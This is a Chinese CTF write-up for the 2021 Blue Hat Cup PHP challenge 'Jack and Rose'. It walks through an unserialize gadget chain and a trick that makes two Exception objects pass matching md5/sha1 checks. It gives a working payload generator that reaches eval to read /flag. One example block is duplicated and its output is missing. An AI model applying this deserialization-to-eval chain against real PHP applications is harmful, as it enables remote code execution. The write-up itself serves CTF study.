[2021 蓝帽杯]杰克与肉丝
前置知识:
原生类Exception绕过md5,sha1
先看看原生类Exception里面有什么:
<?php
var_dump($a=new Exception());
这里有个非常有意思的绕过md5和sh1的方法。
来看两个例子:
<?phpclass Test{public $var1;public $var2;function __destruct(){if(md5($this->var1)===md5($this->var2)){echo "yes";}else{echo "no";}}}$str="highlight_file('/flag');?>";$var1=new Exception($str,1);$var2=new Exception($str,2);var_dump(md5($var1));var_dump(md5($var2));$R = new Test();$R->var1=$var1;$R->var2=$var2;
//输出
<?phpclass Test{public $var1;public $var2;function __destruct(){if(md5($this->var1)===md5($this->var2)){echo "yes";}else{echo "no";}}}$str="highlight_file('/flag');?>";$var1=new Exception($str,1);$var2=new Exception($str,2);var_dump(md5($var1));var_dump(md5($var2));$R = new Test();$R->var1=$var1;$R->var2=$var2;
输出:
这两段代码唯一的 区别就是:
$var1和$var2是否同行
如果同行的话,则md5值不相等。SHA1则同理。
解题
题目直接给出源码:
<?php
highlight_file(__file__);class Jack
{private $action;function __set($a, $b){$b->$a();}}class Love {public $var;function __call($a,$b){$rose = $this->var;call_user_func($rose);}private function action(){echo "jack love rose";}}
class Titanic{public $people;public $ship;function __destruct(){$this->people->action=$this->ship;}
}
class Rose{public $var1;public $var2;function __invoke(){if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){eval($this->var1);}}
}if(isset($_GET['love'])){$sail=$_GET['love'];unserialize($sail);
}
?>
链子的过程比较简单 ,难点在绕过md5那里,以前没有接触过。
还有要注意的就是从后往前赋值。其他没什么了(我下面标出了序号)
直接给出payload:
<?phpclass Jack // 2
{private $action;function __set($a, $b) // 给不存在赋值{}}class Love { // 3public $var;function __call($a,$b) // 调用不存在方法或者不可访问方法{echo "Love";$rose = $this->var;call_user_func($rose); // 可以触发__invoke}}
class Titanic{ // 1public $people;public $ship;function __destruct(){ // 销毁变量$this->people->action=$this->ship;}
}
class Rose{ // 4public $var1;public $var2;function __invoke(){ // 对象调用为函数var_dump($this->var1);var_dump($this->var2);if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){echo "yes";eval($this->var1);}}
}$a=new Titanic();
$b=new Jack();
$c=new Love();
$d=new Rose();
$str="highlight_file('/flag');?>"; //需要执行的读取flag文件的命令
$var1=new Exception($str,1);$var2=new Exception($str,2);
$d->var1=$var1;
$d->var2=$var2;
$c->var=$d;
$a->people=$b;
$a->ship=$c;
echo urlencode(serialize($a));
?>
我没做出来的原因是没有从后往前赋值,要先对序号后面的值进行赋值,再引用前面的类。否则会返回赋值为空的报错。
生成的payload直接打就可以了:
[2021 蓝帽杯]杰克与肉丝相关推荐
- [ctf misc][wp]一些内存取证的wp(含[2021蓝帽杯北部赛区分区赛]博人的文件)
wp 1.[V&N2020 公开赛]内存取证 1.找策略 volatility.exe -f C:\Users\shen\Downloads\mem.raw imageinfo 2.看进程 v ...
- 2021第五届蓝帽杯初赛部分题目wp
文章目录 前言 WEB Ball_sigin PWN slient MISC 冬奥会_is_coming 前言 本次蓝帽杯初赛做出了三道解出人数最多的题,勉强混个线下.但不得不吐槽一下这届题目.冬奥会 ...
- 2021天翼杯 密码官方wp
2021天翼杯 crypto TryHash 审计题目代码,题目给出了一个feistel结构的加密算法,密钥长度为8字节.用随机生成的密钥对flag进行了加密.攻击者可以提供一段明文让服务器用同样的密 ...
- 【2021杭电多校赛】2021“MINIEYE杯”中国大学生算法设计超级联赛(3)签到题3题
2021"MINIEYE杯"中国大学生算法设计超级联赛(3) Start Time : 2021-07-27 12:00:00 End Time : 2021-07-27 17:0 ...
- 【2021杭电多校赛】2021“MINIEYE杯”中国大学生算法设计超级联赛(1)签到题15869
2021"MINIEYE杯"中国大学生算法设计超级联赛(1) Start Time : 2021-07-20 12:10:00 End Time : 2021-07-20 17:1 ...
- [ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)
第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)电子取证赛题 第六届"蓝帽杯"全国大学生网络安全技能大赛(半决赛)其他赛题 [Misc]加密的通道 1.经过 ...
- 2021 长安杯 Re
2021 长安杯 Re 忙了半天,就肝了两个Re,其中一个还是比赛结束后才出的,菜的令人发指,呜呜呜!!! 1.Fantasy apk逆向,查了一下,没有加固,直接在 jadx-gui 当中打开,可以 ...
- 2021美亚杯(个人赛)练习记录
因为当时没有参加比赛,用的奇哥给的镜像和参考答案,然后自己重新做了一遍,记录一下自己的思路(我自封大娘级记录,保姆级懂吧). 指路奇哥(奇哥带好人 (๑•̀ㅂ•́)و✧):2021第七届美亚杯中国电子 ...
- [2021绿城杯] [Misc] 流量分析 + cobaltstrike 流量解密
[2021绿城杯] [Misc] 流量分析 + cobaltstrike 流量解密 2021年"绿城杯"网络安全大赛-Misc-流量分析 [2021绿城杯] [Misc] 流量分析 ...
最新文章
- python的raw_ input是什么意思-对python中raw_input()和input()的用法详解
- 昵图网服务器系统资源不足,Win7系统提示系统资源不足警告怎么办? - 爱绿豆...
- mysql训练逻辑的题_全国计算机等级考试二级教程mysql复习题练习题.docx
- px、dp和sp,这些单位有什么区别?
- datatable使用groupby进行分组统计 [2]
- 2015 多校赛 第三场 1002 (hdu 5317)
- android 简单对话框实现
- 文本前后空格去除工具
- bosboot -a的作用
- AspSpider再次开放asp.net2.0 免费空间注册
- 软件缺陷分析方法:ODC
- IT新渠道眼中的高价值增长如何实现?
- 大数据发展规划及技术详解
- 【PHP MySQL】数据库专题 第八课 表连接
- ios html录制视频,iPhone怎么录屏?玩转iOS14自带屏幕录制功能全攻略
- DDR4时序标准规范(二)
- Ubuntu 复制文件到远端时错误,Permission denied 失败原因深度探索
- JAVA实现的Johnson-trotter算法(高效的全排列算法)
- python-列表元素绝对值排序
- 嵌入式系统概述及特点